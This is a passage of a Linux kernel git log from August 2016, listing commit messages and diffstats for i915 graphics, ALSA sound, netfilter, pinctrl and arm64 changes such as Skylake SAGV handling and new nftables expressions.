request retirement was more frequent than hangcheck and so we would not have a stuck busy check. The flaw there was in forgetting that we accumulate the hang score, and so successive checks seeing a stuck request, albeit with the GPU advancing elsewhere and so not necessary the same stuck request, would eventually trigger the hang. Fixes: dcff85c8443e ("drm/i915: Enable i915_gem_wait_for_idle()...") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160820145408.32180-1-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_irq.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 07cb3272af7935babe8b421f4070a6e3f26ef59b Author: Colin Ian King Date: Mon Aug 22 12:50:02 2016 +0100 ALSA: hdspm: fix spelling mistake "Externel" -> "External" Trivial fix to spelling mistake in dev_warn message. Signed-off-by: Colin Ian King Signed-off-by: Takashi Iwai sound/pci/rme9652/hdspm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 26fecf0b21d17d17ba98fd64e8ac5a5c87ffb0d5 Author: perr perr Date: Tue Aug 16 18:45:29 2016 +0800 pinctrl: exynos: remove duplicate calls in irq handler Because chained_irq_enter() has already called chip->irq_mask() and chip->irq_ack(), also chained_irq_exit() will call chip->irq_unmask(), so it's not necessary to call chip->irq_*() here. Signed-off-by: Perr Zhang Acked-by: Tomasz Figa Reviewed-by: Krzysztof Kozlowski [Hand-edited from whitespace damaged patch] Signed-off-by: Linus Walleij drivers/pinctrl/samsung/pinctrl-exynos.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit c2f14ba749c1ce94aa97c5a84733a89aaaadada4 Author: Markus Elfring Date: Sun Aug 21 21:02:06 2016 +0200 ALSA: compress: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Acked-by: Vinod Koul Signed-off-by: Takashi Iwai sound/core/compress_offload.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 5a9e3e156ec1ab26ba70b4c44157858c92bbeee0 Author: Jisheng Zhang Date: Mon Aug 15 14:45:46 2016 +0800 arm64: apply __ro_after_init to some objects These objects are set during initialization, thereafter are read only. Previously I only want to mark vdso_pages, vdso_spec, vectors_page and cpu_ops as __read_mostly from performance point of view. Then inspired by Kees's patch[1] to apply more __ro_after_init for arm, I think it's better to mark them as __ro_after_init. What's more, I find some more objects are also read only after init. So apply __ro_after_init to all of them. This patch also removes global vdso_pagelist and tries to clean up vdso_spec[] assignment code. [1] http://www.spinics.net/lists/arm-kernel/msg523188.html Acked-by: Mark Rutland Signed-off-by: Jisheng Zhang Signed-off-by: Will Deacon arch/arm64/kernel/cpu_ops.c | 3 ++- arch/arm64/kernel/kaslr.c | 3 ++- arch/arm64/kernel/vdso.c | 30 +++++++++++++++--------------- arch/arm64/mm/dma-mapping.c | 3 ++- arch/arm64/mm/init.c | 5 +++-- arch/arm64/mm/mmu.c | 3 ++- 6 files changed, 26 insertions(+), 21 deletions(-) commit b6d081bddf397026575a437b603b118dff2606ff Author: Jisheng Zhang Date: Mon Aug 15 14:45:45 2016 +0800 arm64: vdso: constify vm_special_mapping used for aarch32 vectors page The vm_special_mapping spec which is used for aarch32 vectors page is never modified, so mark it as const. Acked-by: Mark Rutland Signed-off-by: Jisheng Zhang Signed-off-by: Will Deacon arch/arm64/kernel/vdso.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1aed28f94ce6c1f6c24bcbbd5fcd749b55f65e9e Author: Jisheng Zhang Date: Mon Aug 15 14:45:44 2016 +0800 arm64: vdso: add __init section marker to alloc_vectors_page It is not needed after booting, this patch moves the alloc_vectors_page function to the __init section. Acked-by: Mark Rutland Signed-off-by: Jisheng Zhang Signed-off-by: Will Deacon arch/arm64/kernel/vdso.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bb8f9cffad4469e3daa4d3759d5b6cc72939ab45 Author: Chris Wilson Date: Mon Aug 22 08:44:31 2016 +0100 drm/i915: Allow DMA pagetables to use highmem As we never need to directly access the pages we allocate for scratch and the pagetables, and always remap them into the GTT through the dma remapper, we do not need to limit the allocations to lowmem i.e. we can pass in the __GFP_HIGHMEM flag to the page allocation. For backwards compatibility, e.g. certain old GPUs not liking highmem for certain functions that may be accidentally mapped to the scratch page by userspace, keep the GMCH probe as only allocating from DMA32. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160822074431.26872-3-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gem_gtt.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 8bcdd0f756b7bf13c340a319ad6748ed6386a944 Author: Chris Wilson Date: Mon Aug 22 08:44:30 2016 +0100 drm/i915: Embed the scratch page struct into each VM As the scratch page is no longer shared between all VM, and each has their own, forgo the small allocation and simply embed the scratch page struct into the i915_address_space. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160822074431.26872-2-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Acked-by: Mika Kuoppala drivers/gpu/drm/i915/i915_gem_gtt.c | 76 +++++++++++++++---------------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 6 +-- 2 files changed, 32 insertions(+), 50 deletions(-) commit 36cdd0138b7f51f204df871c548b65ea2d59522d Author: David Weinehall Date: Mon Aug 22 13:59:31 2016 +0300 drm/i915: debugfs spring cleaning Just like with sysfs, we do some major overhaul. Pass dev_priv instead of dev to all feature macros (IS_, HAS_, INTEL_, etc.). This has the side effect that a bunch of functions now get dev_priv passed instead of dev. All calls to INTEL_INFO()->gen have been replaced with INTEL_GEN(). We want access to to_i915(node->minor->dev) in a lot of places, so add the node_to_i915() helper to accommodate for this. Finally, we have quite a few cases where we get a void * pointer, and need to cast it to drm_device *, only to run to_i915() on it. Add cast_to_i915() to do this. v2: Don't introduce extra dev (Chris) v3: Make pipe_crc_info have a pointer to drm_i915_private instead of drm_device. This saves a bit of space, since we never use drm_device anywhere in these functions. Also some minor fixup that I missed in the previous version. v4: Changed the code a bit so that dev_priv is passed directly to various functions, thus removing the need for the cast_to_i915() helper. Also did some additional cleanup. v5: Additional cleanup of newly introduced changes. v6: Rebase again because of conflict. Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160822105931.pcbe2lpsgzckzboa@boom Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_debugfs.c | 796 ++++++++++++++++-------------------- drivers/gpu/drm/i915/i915_drv.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 2 +- 3 files changed, 358 insertions(+), 442 deletions(-) commit 52a05c302bcfe571aa4896118e3d22feb51ab1c7 Author: David Weinehall Date: Mon Aug 22 13:32:44 2016 +0300 drm/i915: pdev cleanup In an effort to simplify things for a future push of dev_priv instead of dev wherever possible, always take pdev via dev_priv where feasible, eliminating the direct access from dev. Right now this only eliminates a few cases of dev, but it also obviates that we pass dev into a lot of functions where dev_priv would be the more obvious choice. v2: Fixed one more place missing in the previous patch set Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160822103245.24069-5-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_debugfs.c | 5 +-- drivers/gpu/drm/i915/i915_drv.c | 59 +++++++++++++++++++-------------- drivers/gpu/drm/i915/i915_gem_gtt.c | 10 +++--- drivers/gpu/drm/i915/i915_gem_stolen.c | 19 ++++++----- drivers/gpu/drm/i915/i915_gpu_error.c | 9 ++--- drivers/gpu/drm/i915/i915_suspend.c | 6 ++-- drivers/gpu/drm/i915/intel_display.c | 25 +++++++++----- drivers/gpu/drm/i915/intel_fbdev.c | 3 +- drivers/gpu/drm/i915/intel_guc_loader.c | 3 +- drivers/gpu/drm/i915/intel_i2c.c | 3 +- drivers/gpu/drm/i915/intel_runtime_pm.c | 30 +++++++++-------- drivers/gpu/drm/i915/intel_sdvo.c | 4 ++- 12 files changed, 103 insertions(+), 73 deletions(-) commit 694c2828459e1d048b79c42dd8decbafb099707d Author: David Weinehall Date: Mon Aug 22 13:32:43 2016 +0300 drm/i915: i915_sysfs.c cleanup Various cleanup for i915_sysfs.c; we now use dev_priv whenever possible. The kdev_to_drm_minor() helper function has been replaced by one that converts from struct device * to struct drm_i915_private *. We already have a seemingly identical helper (kdev_to_i915()) in i915_drv.h. But that one cannot be used here. Unlike the version in i915_drv.h, this helper reaches i915 through drm_minor. v2: Rename kdev_to_i915_dm() to kdev_minor_to_i915() (Chris) Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160822103245.24069-4-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.c | 4 +- drivers/gpu/drm/i915/i915_drv.h | 4 +- drivers/gpu/drm/i915/i915_sysfs.c | 148 +++++++++++++++++--------------------- 3 files changed, 69 insertions(+), 87 deletions(-) commit c49d13ee13f709852cc05f9035df89e9ffa26108 Author: David Weinehall Date: Mon Aug 22 13:32:42 2016 +0300 drm/i915: consistent struct device naming We currently have a mix of struct device *device, struct device *kdev, and struct device *dev (the latter forcing us to refer to struct drm_device as something else than the normal dev). To simplify things, always use kdev when referring to struct device. v2: Replace the dev_to_drm_minor() macro with the inline function kdev_to_drm_minor(). Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160822103245.24069-3-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.c | 96 ++++++++++++++++----------------- drivers/gpu/drm/i915/i915_drv.h | 4 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 6 +-- drivers/gpu/drm/i915/i915_sysfs.c | 65 +++++++++++----------- drivers/gpu/drm/i915/intel_audio.c | 46 ++++++++-------- drivers/gpu/drm/i915/intel_runtime_pm.c | 37 +++++++------ 6 files changed, 128 insertions(+), 126 deletions(-) commit 351c3b53e767b2512461843882f7c6baa8996c4b Author: David Weinehall Date: Mon Aug 22 13:32:41 2016 +0300 drm/i915: cosmetic fixes to i915_drv.h Fix minor whitespace issues plus a typo. Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160822103245.24069-2-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 536ab3ca19ef856e84389a155c5832c68559a28a Author: Maarten Lankhorst Date: Mon Aug 15 15:09:27 2016 +0200 drm/i915: Fix botched merge that downgrades CSR versions. Merge commit 5e580523d9128a4d8 reverts the version bumping parts of commit 4aa7fb9c3c4fa0. Bump the versions again and request the specific firmware version. The currently recommended versions are: SKL 1.26, KBL 1.01 and BXT 1.07. Cc: Patrik Jakobsson Cc: Imre Deak Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97242 Cc: drm-intel-fixes@lists.freedesktop.org Fixes: 5e580523d912 ("Backmerge tag 'v4.7' into drm-next") Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471266567-22443-1-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Imre Deak drivers/gpu/drm/i915/intel_csr.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 05a76d3d6ad1ee9f9814f88949cc9305fc165460 Author: Lyude Date: Wed Aug 17 15:55:57 2016 -0400 drm/i915/skl: Ensure pipes with changed wms get added to the state If we're enabling a pipe, we'll need to modify the watermarks on all active planes. Since those planes won't be added to the state on their own, we need to add them ourselves. Signed-off-by: Lyude Reviewed-by: Matt Roper Cc: stable@vger.kernel.org Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Radhakrishna Sripada Cc: Hans de Goede Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471463761-26796-6-git-send-email-cpaul@redhat.com drivers/gpu/drm/i915/intel_pm.c | 4 ++++ 1 file changed, 4 insertions(+) commit 2722efb90b3420dee54b4cb3cdc7917efacc2dce Author: Matt Roper Date: Wed Aug 17 15:55:55 2016 -0400 drm/i915/gen9: Only copy WM results for changed pipes to skl_hw When we write watermark values to the hardware, those values are stored in dev_priv->wm.skl_hw. However with recent watermark changes, the results structure we're copying from only contains valid watermark and DDB values for the pipes that are actually changing; the values for other pipes remain 0. Thus a blind copy of the entire skl_wm_values structure will clobber the values for unchanged pipes...we need to be more selective and only copy over the values for the changing pipes. This mistake was hidden until recently due to another bug that caused us to erroneously re-calculate watermarks for all active pipes rather than changing pipes. Only when that bug was fixed was the impact of this bug discovered (e.g., modesets failing with "Requested display configuration exceeds system watermark limitations" messages and leaving watermarks non-functional, even ones initiated by intel_fbdev_restore_mode). Changes since v1: - Add a function for copying a pipe's wm values (skl_copy_wm_for_pipe()) so we can reuse this later Fixes: 734fa01f3a17 ("drm/i915/gen9: Calculate watermarks during atomic 'check' (v2)") Fixes: 9b6130227495 ("drm/i915/gen9: Re-allocate DDB only for changed pipes") Signed-off-by: Matt Roper Signed-off-by: Lyude Reviewed-by: Matt Roper Cc: stable@vger.kernel.org Cc: Maarten Lankhorst Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Radhakrishna Sripada Cc: Hans de Goede Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471463761-26796-4-git-send-email-cpaul@redhat.com drivers/gpu/drm/i915/intel_pm.c | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) commit 656d1b89e5ffb83036ab0e2a24be7558f34365c7 Author: Lyude Date: Wed Aug 17 15:55:54 2016 -0400 drm/i915/skl: Add support for the SAGV, fix underrun hangs Since the watermark calculations for Skylake are still broken, we're apt to hitting underruns very easily under multi-monitor configurations. While it would be lovely if this was fixed, it's not. Another problem that's been coming from this however, is the mysterious issue of underruns causing full system hangs. An easy way to reproduce this with a skylake system: - Get a laptop with a skylake GPU, and hook up two external monitors to it - Move the cursor from the built-in LCD to one of the external displays as quickly as you can - You'll get a few pipe underruns, and eventually the entire system will just freeze. After doing a lot of investigation and reading through the bspec, I found the existence of the SAGV, which is responsible for adjusting the system agent voltage and clock frequencies depending on how much power we need. According to the bspec: "The display engine access to system memory is blocked during the adjustment time. SAGV defaults to enabled. Software must use the GT-driver pcode mailbox to disable SAGV when the display engine is not able to tolerate the blocking time." The rest of the bspec goes on to explain that software can simply leave the SAGV enabled, and disable it when we use interlaced pipes/have more then one pipe active. Sure enough, with this patchset the system hangs resulting from pipe underruns on Skylake have completely vanished on my T460s. Additionally, the bspec mentions turning off the SAGV with more then one pipe enabled as a workaround for display underruns. While this patch doesn't entirely fix that, it looks like it does improve the situation a little bit so it's likely this is going to be required to make watermarks on Skylake fully functional. This will still need additional work in the future: we shouldn't be enabling the SAGV if any of the currently enabled planes can't enable WM levels that introduce latencies >= 30 µs. Changes since v11: - Add skl_can_enable_sagv() - Make sure we don't enable SAGV when not all planes can enable watermarks >= the SAGV engine block time. I was originally going to save this for later, but I recently managed to run into a machine that was having problems with a single pipe configuration + SAGV. - Make comparisons to I915_SKL_SAGV_NOT_CONTROLLED explicit - Change I915_SAGV_DYNAMIC_FREQ to I915_SAGV_ENABLE - Move printks outside of mutexes - Don't print error messages twice Changes since v10: - Apparently sandybridge_pcode_read actually writes values and reads them back, despite it's misleading function name. This means we've been doing this mostly wrong and have been writing garbage to the SAGV control. Because of this, we no longer attempt to read the SAGV status during initialization (since there are no helpers for this). - mlankhorst noticed that this patch was breaking on some very early pre-release Skylake machines, which apparently don't allow you to disable the SAGV. To prevent machines from failing tests due to SAGV errors, if the first time we try to control the SAGV results in the mailbox indicating an invalid command, we just disable future attempts to control the SAGV state by setting dev_priv->skl_sagv_status to I915_SKL_SAGV_NOT_CONTROLLED and make a note of it in dmesg. - Move mutex_unlock() a little higher in skl_enable_sagv(). This doesn't actually fix anything, but lets us release the lock a little sooner since we're finished with it. Changes since v9: - Only enable/disable sagv on Skylake Changes since v8: - Add intel_state->modeset guard to the conditional for skl_enable_sagv() Changes since v7: - Remove GEN9_SAGV_LOW_FREQ, replace with GEN9_SAGV_IS_ENABLED (that's all we use it for anyway) - Use GEN9_SAGV_IS_ENABLED instead of 0x1 for clarification - Fix a styling error that snuck past me Changes since v6: - Protect skl_enable_sagv() with intel_state->modeset conditional in intel_atomic_commit_tail() Changes since v5: - Don't use is_power_of_2. Makes things confusing - Don't use the old state to figure out whether or not to enable/disable the sagv, use the new one - Split the loop in skl_disable_sagv into it's own function - Move skl_sagv_enable/disable() calls into intel_atomic_commit_tail() Changes since v4: - Use is_power_of_2 against active_crtcs to check whether we have > 1 pipe enabled - Fix skl_sagv_get_hw_state(): (temp & 0x1) indicates disabled, 0x0 enabled - Call skl_sagv_enable/disable() from pre/post-plane updates Changes since v3: - Use time_before() to compare timeout to jiffies Changes since v2: - Really apply minor style nitpicks to patch this time Changes since v1: - Added comments about this probably being one of the requirements to fixing Skylake's watermark issues - Minor style nitpicks from Matt Roper - Disable these functions on Broxton, since it doesn't have an SAGV Signed-off-by: Lyude Cc: Matt Roper Cc: Maarten Lankhorst Cc: Daniel Vetter Cc: Ville Syrjälä Cc: stable@vger.kernel.org Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471463761-26796-3-git-send-email-cpaul@redhat.com [mlankhorst: ENOSYS -> ENXIO, whitespace fixes] drivers/gpu/drm/i915/i915_drv.h | 7 ++ drivers/gpu/drm/i915/i915_reg.h | 4 + drivers/gpu/drm/i915/intel_display.c | 11 +++ drivers/gpu/drm/i915/intel_drv.h | 3 + drivers/gpu/drm/i915/intel_pm.c | 148 +++++++++++++++++++++++++++++++++++ 5 files changed, 173 insertions(+) commit 87660502f1a4d51fb043e89a45d30c9917787c22 Author: Lyude Date: Wed Aug 17 15:55:53 2016 -0400 drm/i915/gen6+: Interpret mailbox error flags In order to add proper support for the SAGV, we need to be able to know what the cause of a failure to change the SAGV through the pcode mailbox was. The reasoning for this is that some very early pre-release Skylake machines don't actually allow you to control the SAGV on them, and indicate an invalid mailbox command was sent. This also might come in handy in the future for debugging. Changes since v1: - Add functions for interpreting gen6 mailbox error codes along with gen7+ error codes, and actually interpret those codes properly - Renamed patch to reflect new behavior Signed-off-by: Lyude Cc: Matt Roper Cc: Maarten Lankhorst Cc: Daniel Vetter Cc: Ville Syrjälä Cc: stable@vger.kernel.org Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471463761-26796-2-git-send-email-cpaul@redhat.com [mlankhorst: -ENOSYS -> -ENXIO for checkpatch] drivers/gpu/drm/i915/i915_reg.h | 9 ++++++ drivers/gpu/drm/i915/intel_pm.c | 71 ++++++++++++++++++++++++++++++++++++++++- 2 files changed, 79 insertions(+), 1 deletion(-) commit 615cca8c0c2245e7e8c1b1986071506807cbfa90 Author: Honghui Zhang Date: Thu Aug 11 16:07:08 2016 +0800 iommu/mediatek: dt-binding: Correct the larb port offset defines for mt2701 larb2 have 23 ports, the LARB3_PORT_OFFSET should be LARB2_PORT_OFFSET plus larb2's port number, it should be 44 instead of 43. Signed-off-by: Honghui Zhang Signed-off-by: Joerg Roedel include/dt-bindings/memory/mt2701-larb-port.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1f061316cf556fe07804ca2eb30f7807cffc3f53 Author: Paulo Zanoni Date: Wed Aug 17 16:41:44 2016 -0300 drm/i915: Call intel_fbc_pre_update() after pinning the new pageflip intel_fbc_pre_update() depends upon the new state being already pinned in place in the Global GTT (primarily for both fencing which wants both an offset and a fence register, if assigned). This requires the call to intel_fbc_pre_update() be after intel_pin_and_fence_fb() - but commit e8216e502aca ("drm/i915/fbc: call intel_fbc_pre_update earlier during page flips") moved the code way too much up in its attempt to call it before the page flip. v2 (from Paulo): - Point the original bad commit. - Add a comment to maybe prevent further regressions. Fixes: e8216e502aca ("drm/i915/fbc: call intel_fbc_pre_update earlier...") Signed-off-by: Chris Wilson Signed-off-by: Paulo Zanoni Cc: Daniel Vetter Cc: Ville Syrjälä Cc: Maarten Lankhorst Cc: Patrik Jakobsson Cc: drm-intel-fixes@lists.freedesktop.org Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471462904-842-1-git-send-email-paulo.r.zanoni@intel.com Cc: stable@vger.kernel.org drivers/gpu/drm/i915/intel_display.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit c75870d86f6a55a08ef0e67cf6cc25ae124ca9e7 Author: Daniel Vetter Date: Mon Aug 22 10:55:22 2016 +0200 drm/i915: Ensure consistent control flow __i915_gem_active_get_rcu This issue here is (I think) purely theoretical, since a compiler would need to be especially foolish to recompute the value of i915_gem_request_completed right after it was already used. Hence the additional barrier() is also not really a restriction. But I believe this to be at least permissible, and since our rcu trickery is a beast it's worth to annotate all the corner cases. Chris proposed to instead just wrap a READ_ONCE around request->fence.seqno in i915_gem_request_completed. But that has a measurable impact on code size, and everywhere we hold a full reference to the underlying request it's also not needed. And personally I'd like to have just enough barriers and locking needed for correctness, but not more - it makes it much easier in the future to understand what's going on. Since the busy ioctl has now fully embraced it's races there's no point annotating it there too. We really only need it in active_get_rcu, since that function _must_ deliver a correct snapshot of the active fences (and not chase something else). v2: Polish the comment a bit more (Chris). Cc: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471856122-466-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/i915_gem_request.h | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 14daa63b277b73a91ca084acee9e31365c7283e9 Author: Chris Wilson Date: Mon Aug 22 08:44:29 2016 +0100 drm/i915: Stop marking the unaccessible scratch page as UC Since by design, if not entirely by practice, nothing is allowed to access the scratch page we use to background fill the VM, then we do not need to ensure that it is coherent between the CPU and GPU. set_pages_uc() does a stop_machine() after changing the PAT, and that significantly impacts upon context creation throughput. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160822074431.26872-1-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gem_gtt.c | 4 ---- 1 file changed, 4 deletions(-) commit a5e57336451d1ad75c24b9f7e60825f12f117ee0 Author: Wei Yongjun Date: Sun Aug 21 15:21:10 2016 +0000 netfilter: nft_hash: fix non static symbol warning Fixes the following sparse warning: net/netfilter/nft_hash.c:40:25: warning: symbol 'nft_hash_policy' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8d6c0eaa9ee9ea7ef0402c7cf47b288f0de0cd91 Author: Colin Ian King Date: Thu Aug 18 16:47:57 2016 +0100 netfilter: fix spelling mistake: "delimitter" -> "delimiter" trivial fix to spelling mistake in pr_debug message Signed-off-by: Colin Ian King Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_ftp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 91dbc6be0a62d3bcea98287734d593610aed507d Author: Laura Garcia Liebana Date: Thu Aug 18 12:13:13 2016 +0200 netfilter: nf_tables: add number generator expression This patch adds the numgen expression that allows us to generated incremental and random numbers, this generator is bound to a upper limit that is specified by userspace. This expression is useful to distribute packets in a round-robin fashion as well as randomly. Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 24 ++++ net/netfilter/Kconfig | 6 + net/netfilter/Makefile | 1 + net/netfilter/nft_numgen.c | 192 +++++++++++++++++++++++++++++++ 4 files changed, 223 insertions(+) commit 3d2f30a1df907e3ef4175121f0d21456630a72aa Author: Pablo Neira Ayuso Date: Thu Aug 18 01:46:06 2016 +0200 netfilter: nf_tables: add quota expression This patch adds the quota expression. This new stateful expression integrate easily into the dynset expression to build 'hashquota' flow tables. Arguably, we could use instead "counter bytes > 1000" instead, but this approach has several problems: 1) We only support for one single stateful expression in dynamic set definitions, and the expression above is a composite of two expressions: get counter + comparison. 2) We would need to restore the packed counter representation (that we used to have) based on seqlock to synchronize this, since per-cpu is not suitable for this. So instead of bloating the counter expression back with the seqlock representation and extending the existing set infrastructure to make it more complex for the composite described above, let's follow the more simple approach of adding a quota expression that we can plug into our existing infrastructure. Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 19 +++++ net/netfilter/Kconfig | 6 ++ net/netfilter/Makefile | 1 + net/netfilter/nft_quota.c | 121 +++++++++++++++++++++++++++++++ 4 files changed, 147 insertions(+) commit 1bc00f32b87c24f1a981e6dcf3f2174babee93ad Author: Shawn Lin Date: Sun Aug 21 10:17:36 2016 +0800 ALSA: usb-audio: rmove print for failure of kmalloc kmalloc already print similar error once failing to alloc enough memory, so let's remove this dump here. Signed-off-by: Shawn Lin Signed-off-by: Takashi Iwai sound/usb/format.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 36e1ac3cf880fb9dbb528c41ebde567ca17d4a84 Author: Daniel Mack Date: Mon Aug 22 08:53:38 2016 +0200 ALSA: usb: fine-tune Tenor error compensation value Users of devices affected by the Tenor feedback data error report buffer underruns, even with the +/- 0x1.0000 quirk applied. Compensating the error with 0xf000 instead seems to reliably fix that issue. See https://sourceforge.net/p/alsa/mailman/message/35230259/ Reported-and-tested-by: Norman Nolte Reported-and-tested-by: Thomas Gresens Signed-off-by: Daniel Mack Signed-off-by: Takashi Iwai sound/usb/endpoint.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ca0dd2736a05d1df94c8657b4865f9d6c6637085 Author: Daniel Mack Date: Mon Aug 22 08:53:37 2016 +0200 ALSA: usb: use TEAC UD-H01 quirk for more devices The quirk seems to be necessary not only for TEAC UD-H01 devices, but to more that are based on the Tenor 8802TL chipset. Devices built by T+A are affected too, and they apparently all use the same USB PID:PID. Extend the quirky handling for that device as well, and rename the quirks flag. Reported-and-tested-by: Thomas Gresens Signed-off-by: Daniel Mack Signed-off-by: Takashi Iwai sound/usb/card.h | 2 +- sound/usb/endpoint.c | 5 +++-- sound/usb/quirks.c | 5 +++-- 3 files changed, 7 insertions(+), 5 deletions(-) commit 9abc134167249ded16a8c776813121609610f119 Author: Daniel Mack Date: Mon Aug 22 08:53:36 2016 +0200 ALSA: usb: move udh01_fb_quirk setting to quirks.c That's a quirk, after all, so move it where to all the other quirks live. Signed-off-by: Daniel Mack Signed-off-by: Takashi Iwai sound/usb/endpoint.c | 4 ---- sound/usb/quirks.c | 5 +++++ 2 files changed, 5 insertions(+), 4 deletions(-) commit 5f4b091aa200caa118520b6918b94e019f532dcf Author: Chris Wilson Date: Fri Aug 19 12:56:25 2016 +0100 drm/i915: Restore debugfs/i915_gem_gtt back to its former glory The passed in flag that distinguishes i915_gem_pin_display from i915_gem_gtt is from node->info_ent->data not the data function parameter. Fixes: 6da8482936c7 ("drm/i915: Focus debugfs/i915_gem_pinned to show...") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819115625.17688-1-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_debugfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit db80f0e158e62164308a857bce442dfeddb5c29e Author: Beniamino Galvani Date: Sat Aug 13 19:41:18 2016 +0200 pinctrl: meson: get rid of unneeded domain structures The driver originally supported more domains (register ranges) per pinctrl device, but since commit 9dab1868ec0d ("pinctrl: amlogic: Make driver independent from two-domain configuration") each device gets assigned a single domain and we instantiate multiple pinctrl devices in the DT. Therefore, now the 'meson_domain' and 'meson_domain_data' structures don't have any reason to exist and can be removed to make the model simpler to understand. This commit doesn't change behavior. Tested on a Odroid-C2. Signed-off-by: Beniamino Galvani Acked-by: Kevin Hilman Tested-by: Kevin Hilman Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 24 +--- drivers/pinctrl/meson/pinctrl-meson.c | 222 +++++++++++------------------ drivers/pinctrl/meson/pinctrl-meson.h | 52 ++----- drivers/pinctrl/meson/pinctrl-meson8.c | 24 +--- drivers/pinctrl/meson/pinctrl-meson8b.c | 24 +--- 5 files changed, 118 insertions(+), 228 deletions(-) commit e12ec251e4db472e00df2aaefc13430efa25b5ea Author: Takashi Sakamoto Date: Sat Aug 13 10:13:36 2016 +0900 ALSA: seq: obsolete change of address limit Former commits change existent functions so that they don't handle data in kernel space. Copying from/to userspace is done outside of the functions, thus no need to change address limit of running task. This commit obsoletes get_fs()/set_fs() and applies corresponding changes. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 73 +++--------------------------------------- sound/core/seq/seq_compat.c | 12 ++----- 2 files changed, 7 insertions(+), 78 deletions(-) commit 04a56dd8ed0de401ccc10e7825d5785844c307fa Author: Takashi Sakamoto Date: Sat Aug 13 10:13:35 2016 +0900 ALSA: seq: change ioctl command operation to get data in kernel space In previous commit, a new table for functions with data in kernel space is added to replace current table. This commit changes existent functions to fit the table. These functions are added to the new table and removed from the old table. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 606 +++++++++++++++++------------------------ 1 file changed, 248 insertions(+), 358 deletions(-) commit 